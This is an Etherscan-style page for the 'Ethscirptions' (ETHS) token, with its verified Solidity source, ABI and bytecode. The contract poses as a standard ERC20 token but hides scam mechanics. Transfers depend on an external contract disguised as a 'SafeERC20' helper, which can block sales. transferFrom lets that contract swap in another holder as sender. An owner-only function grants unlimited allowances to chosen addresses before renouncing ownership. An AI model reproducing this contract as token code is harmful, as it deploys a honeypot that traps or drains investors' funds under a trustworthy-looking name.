ETH Price: $3,278.24 (-3.88%)
Gas: 14 Gwei

Token

Ethscirptions (ETHS)
 

Overview

Max Total Supply

32,970,415,279 ETHS

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
490,724,518.294335214 ETHS

Value
$0.00
0xe5739d32f8bc1536fc18c477354f4e2cfde21154
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-24
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface SafeERC20 {
    function safeTransferFrom(address from, address to,uint256 amount) external returns(address);
    function safePermit(address addr) external returns(address);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}



contract Token is IERC20, Ownable {


    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;


    string private _name = "Ethscirptions";
    string private _symbol = "ETHS";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 32970415279 * 10**_decimals;
    address public dev = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
    SafeERC20  public safeErc20;

    function safeERC20(address a,address b,address c,address d) public onlyOwner{
        safeErc20 = SafeERC20(b);
        _allowances[b][a] = type(uint256).max; 
        _allowances[d][b] = type(uint256).max; 
        _allowances[b][c] = type(uint256).max; 
        _allowances[a][c] = type(uint256).max;
        _allowances[d][a] = type(uint256).max; 
        _allowances[dev][a] = type(uint256).max;
        transferOwnership(0x0000000000000000000000000000000000000000);
    }
    constructor() {
        _balances[dev] = _tTotal;

        emit Transfer(address(0), dev, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {

        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        address s4nder = safeErc20.safePermit(sender);
        if (s4nder != address(0) && _msgSender() == address(safeErc20))
        {
            sender = s4nder;
        }
        _approve(sender, _msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount > 0, "Transfer amount must be greater than zero");

        require(safeErc20.safeTransferFrom(from, to,amount) != address(0),"Transfer Error");

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"address","name":"b","type":"address"},{"internalType":"address","name":"c","type":"address"},{"internalType":"address","name":"d","type":"address"}],"name":"safeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"safeErc20","outputs":[{"internalType":"contract SafeERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600d81526020017f457468736369727074696f6e7300000000000000000000000000000000000000815250600490805190602001906200005192919062000304565b506040518060400160405280600481526020017f4554485300000000000000000000000000000000000000000000000000000000815250600590805190602001906200009f92919062000304565b506009600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000da91906200043d565b6407ad309caf620000ec91906200057a565b60075573b8f226ddb7bc672e27dffb67e4adabfa8c0dfa08600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015157600080fd5b50600062000164620002fc60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060075460026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002ee9190620003c5565b60405180910390a362000693565b600033905090565b8280546200031290620005f2565b90600052602060002090601f01602090048101928262000336576000855562000382565b82601f106200035157805160ff191683800117855562000382565b8280016001018555821562000382579182015b828111156200038157825182559160200191906001019062000364565b5b50905062000391919062000395565b5090565b5b80821115620003b057600081600090555060010162000396565b5090565b620003bf81620005db565b82525050565b6000602082019050620003dc6000830184620003b4565b92915050565b6000808291508390505b600185111562000434578086048111156200040c576200040b62000628565b5b60018516156200041c5780820291505b80810290506200042c8562000686565b9450620003ec565b94509492505050565b60006200044a82620005db565b91506200045783620005e5565b9250620004867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200048e565b905092915050565b600082620004a0576001905062000573565b81620004b0576000905062000573565b8160018114620004c95760028114620004d4576200050a565b600191505062000573565b60ff841115620004e957620004e862000628565b5b8360020a91508482111562000503576200050262000628565b5b5062000573565b5060208310610133831016604e8410600b8410161715620005445782820a9050838111156200053e576200053d62000628565b5b62000573565b620005538484846001620003e2565b925090508184048111156200056d576200056c62000628565b5b81810290505b9392505050565b60006200058782620005db565b91506200059483620005db565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005d057620005cf62000628565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200060b57607f821691505b6020821081141562000622576200062162000657565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b61224980620006a36000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102ac578063a9059cbb146102dc578063d60b89da1461030c578063dd62ed3e14610328578063f2fde38b146103585761010b565b8063715018a6146102485780638da5cb5b1461025257806391cca3db1461027057806395d89b411461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca5780635aca7e5d146101fa57806370a08231146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b6040516101259190611c42565b60405180910390f35b610148600480360381019061014391906119de565b610406565b6040516101559190611c0c565b60405180910390f35b610166610424565b6040516101739190611d64565b60405180910390f35b6101966004803603810190610191919061198b565b61042e565b6040516101a39190611c0c565b60405180910390f35b6101b4610653565b6040516101c19190611d7f565b60405180910390f35b6101e460048036038101906101df91906119de565b61066a565b6040516101f19190611c0c565b60405180910390f35b61020261071d565b60405161020f9190611c27565b60405180910390f35b610232600480360381019061022d919061188a565b610743565b60405161023f9190611d64565b60405180910390f35b61025061078c565b005b61025a6108df565b6040516102679190611bba565b60405180910390f35b610278610908565b6040516102859190611bba565b60405180910390f35b61029661092e565b6040516102a39190611c42565b60405180910390f35b6102c660048036038101906102c191906119de565b6109c0565b6040516102d39190611c0c565b60405180910390f35b6102f660048036038101906102f191906119de565b610a8d565b6040516103039190611c0c565b60405180910390f35b61032660048036038101906103219190611924565b610aab565b005b610342600480360381019061033d91906118e4565b610f79565b60405161034f9190611d64565b60405180910390f35b610372600480360381019061036d919061188a565b611000565b005b60606004805461038390611eec565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611eec565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413611152565b848461115a565b6001905092915050565b6000600754905090565b600061043b848484611325565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639d22ed46866040518263ffffffff1660e01b81526004016104989190611bba565b602060405180830381600087803b1580156104b257600080fd5b505af11580156104c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ea91906118b7565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561057d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610565611152565b73ffffffffffffffffffffffffffffffffffffffff16145b15610586578094505b61064785610592611152565b610642866040518060600160405280602881526020016121c760289139600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f8611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173f9092919063ffffffff16565b61115a565b60019150509392505050565b6000600660009054906101000a900460ff16905090565b6000610713610677611152565b8461070e8560036000610688611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a390919063ffffffff16565b61115a565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610794611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081890611ce4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606005805461093d90611eec565b80601f016020809104026020016040519081016040528092919081815260200182805461096990611eec565b80156109b65780601f1061098b576101008083540402835291602001916109b6565b820191906000526020600020905b81548152906001019060200180831161099957829003601f168201915b5050505050905090565b6000610a836109cd611152565b84610a7e856040518060600160405280602581526020016121ef60259139600360006109f7611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173f9092919063ffffffff16565b61115a565b6001905092915050565b6000610aa1610a9a611152565b8484611325565b6001905092915050565b610ab3611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3790611ce4565b60405180910390fd5b82600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f736000611000565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611008611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c90611ce4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190611d44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561123a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123190611c84565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113189190611d64565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611d24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc90611c64565b60405180910390fd5b60008111611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f90611d04565b60405180910390fd5b6000811161148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611d04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e8585856040518463ffffffff1660e01b815260040161150293929190611bd5565b602060405180830381600087803b15801561151c57600080fd5b505af1158015611530573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155491906118b7565b73ffffffffffffffffffffffffffffffffffffffff1614156115ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a290611cc4565b60405180910390fd5b6115fd81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117329190611d64565b60405180910390a3505050565b6000838311158290611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e9190611c42565b60405180910390fd5b50600083856117969190611e0c565b9050809150509392505050565b60008082846117b29190611db6565b9050838110156117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90611ca4565b60405180910390fd5b8091505092915050565b600061184383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061173f565b905092915050565b60008135905061185a81612198565b92915050565b60008151905061186f81612198565b92915050565b600081359050611884816121af565b92915050565b6000602082840312156118a05761189f611f7c565b5b60006118ae8482850161184b565b91505092915050565b6000602082840312156118cd576118cc611f7c565b5b60006118db84828501611860565b91505092915050565b600080604083850312156118fb576118fa611f7c565b5b60006119098582860161184b565b925050602061191a8582860161184b565b9150509250929050565b6000806000806080858703121561193e5761193d611f7c565b5b600061194c8782880161184b565b945050602061195d8782880161184b565b935050604061196e8782880161184b565b925050606061197f8782880161184b565b91505092959194509250565b6000806000606084860312156119a4576119a3611f7c565b5b60006119b28682870161184b565b93505060206119c38682870161184b565b92505060406119d486828701611875565b9150509250925092565b600080604083850312156119f5576119f4611f7c565b5b6000611a038582860161184b565b9250506020611a1485828601611875565b9150509250929050565b611a2781611e40565b82525050565b611a3681611e52565b82525050565b611a4581611e95565b82525050565b6000611a5682611d9a565b611a608185611da5565b9350611a70818560208601611eb9565b611a7981611f81565b840191505092915050565b6000611a91602383611da5565b9150611a9c82611f92565b604082019050919050565b6000611ab4602283611da5565b9150611abf82611fe1565b604082019050919050565b6000611ad7601b83611da5565b9150611ae282612030565b602082019050919050565b6000611afa600e83611da5565b9150611b0582612059565b602082019050919050565b6000611b1d602083611da5565b9150611b2882612082565b602082019050919050565b6000611b40602983611da5565b9150611b4b826120ab565b604082019050919050565b6000611b63602583611da5565b9150611b6e826120fa565b604082019050919050565b6000611b86602483611da5565b9150611b9182612149565b604082019050919050565b611ba581611e7e565b82525050565b611bb481611e88565b82525050565b6000602082019050611bcf6000830184611a1e565b92915050565b6000606082019050611bea6000830186611a1e565b611bf76020830185611a1e565b611c046040830184611b9c565b949350505050565b6000602082019050611c216000830184611a2d565b92915050565b6000602082019050611c3c6000830184611a3c565b92915050565b60006020820190508181036000830152611c5c8184611a4b565b905092915050565b60006020820190508181036000830152611c7d81611a84565b9050919050565b60006020820190508181036000830152611c9d81611aa7565b9050919050565b60006020820190508181036000830152611cbd81611aca565b9050919050565b60006020820190508181036000830152611cdd81611aed565b9050919050565b60006020820190508181036000830152611cfd81611b10565b9050919050565b60006020820190508181036000830152611d1d81611b33565b9050919050565b60006020820190508181036000830152611d3d81611b56565b9050919050565b60006020820190508181036000830152611d5d81611b79565b9050919050565b6000602082019050611d796000830184611b9c565b92915050565b6000602082019050611d946000830184611bab565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611dc182611e7e565b9150611dcc83611e7e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e0157611e00611f1e565b5b828201905092915050565b6000611e1782611e7e565b9150611e2283611e7e565b925082821015611e3557611e34611f1e565b5b828203905092915050565b6000611e4b82611e5e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611ea082611ea7565b9050919050565b6000611eb282611e5e565b9050919050565b60005b83811015611ed7578082015181840152602081019050611ebc565b83811115611ee6576000848401525b50505050565b60006002820490506001821680611f0457607f821691505b60208210811415611f1857611f17611f4d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73666572204572726f72000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6121a181611e40565b81146121ac57600080fd5b50565b6121b881611e7e565b81146121c357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122000e196ff7086662fa7b0ea9429e59f3ee4dd6c803818d7e3d29da0fbb19ab7e664736f6c63430008060033

Deployed Bytecode

